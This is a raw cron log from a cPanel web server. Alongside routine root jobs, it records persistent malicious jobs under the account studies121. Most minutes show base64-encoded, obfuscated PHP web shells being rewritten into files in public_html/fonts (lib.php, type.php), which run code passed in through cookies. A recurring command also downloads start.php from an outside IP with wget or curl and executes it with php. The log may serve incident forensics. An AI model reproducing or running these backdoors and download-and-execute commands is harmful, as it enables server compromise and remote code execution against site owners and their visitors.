Sep 20 05:38:01 ip-184-168-122-23 CROND[5591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:38:01 ip-184-168-122-23 CROND[5593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:39:02 ip-184-168-122-23 CROND[5842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:39:02 ip-184-168-122-23 CROND[5843]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 05:39:02 ip-184-168-122-23 CROND[5845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:39:02 ip-184-168-122-23 CROND[5846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:39:02 ip-184-168-122-23 CROND[5847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:40:02 ip-184-168-122-23 CROND[6106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:40:02 ip-184-168-122-23 CROND[6111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:40:02 ip-184-168-122-23 CROND[6110]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 05:40:02 ip-184-168-122-23 CROND[6112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:40:02 ip-184-168-122-23 CROND[6113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:40:02 ip-184-168-122-23 CROND[6115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:40:02 ip-184-168-122-23 CROND[6114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:40:02 ip-184-168-122-23 CROND[6117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:41:01 ip-184-168-122-23 CROND[6371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:41:01 ip-184-168-122-23 CROND[6373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:41:01 ip-184-168-122-23 CROND[6375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:41:01 ip-184-168-122-23 CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:42:01 ip-184-168-122-23 CROND[6616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:42:01 ip-184-168-122-23 CROND[6619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:42:01 ip-184-168-122-23 CROND[6620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:42:01 ip-184-168-122-23 CROND[6618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:42:01 ip-184-168-122-23 CROND[6621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:43:01 ip-184-168-122-23 CROND[6918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:43:01 ip-184-168-122-23 CROND[6919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:43:01 ip-184-168-122-23 CROND[6922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:43:01 ip-184-168-122-23 CROND[6921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:44:01 ip-184-168-122-23 CROND[7146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:44:01 ip-184-168-122-23 CROND[7148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:44:01 ip-184-168-122-23 CROND[7150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:44:01 ip-184-168-122-23 CROND[7151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:44:01 ip-184-168-122-23 CROND[7152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:45:01 ip-184-168-122-23 CROND[7390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:45:02 ip-184-168-122-23 CROND[7393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:45:02 ip-184-168-122-23 CROND[7394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:45:02 ip-184-168-122-23 CROND[7396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:45:02 ip-184-168-122-23 CROND[7395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:45:02 ip-184-168-122-23 CROND[7397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:46:01 ip-184-168-122-23 CROND[7666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:46:01 ip-184-168-122-23 CROND[7669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:46:01 ip-184-168-122-23 CROND[7668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:46:01 ip-184-168-122-23 CROND[7670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:46:01 ip-184-168-122-23 CROND[7679]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 05:46:01 ip-184-168-122-23 CROND[7677]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 05:46:01 ip-184-168-122-23 CROND[7678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:47:01 ip-184-168-122-23 CROND[7922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:47:01 ip-184-168-122-23 CROND[7925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:47:01 ip-184-168-122-23 CROND[7923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:47:01 ip-184-168-122-23 CROND[7924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:48:01 ip-184-168-122-23 CROND[8190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:48:01 ip-184-168-122-23 CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:48:01 ip-184-168-122-23 CROND[8193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:48:01 ip-184-168-122-23 CROND[8191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:48:01 ip-184-168-122-23 CROND[8194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:49:01 ip-184-168-122-23 CROND[8424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:49:01 ip-184-168-122-23 CROND[8427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:49:01 ip-184-168-122-23 CROND[8426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:49:01 ip-184-168-122-23 CROND[8428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:50:01 ip-184-168-122-23 CROND[8713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:50:01 ip-184-168-122-23 CROND[8716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:50:01 ip-184-168-122-23 CROND[8718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:50:01 ip-184-168-122-23 CROND[8720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
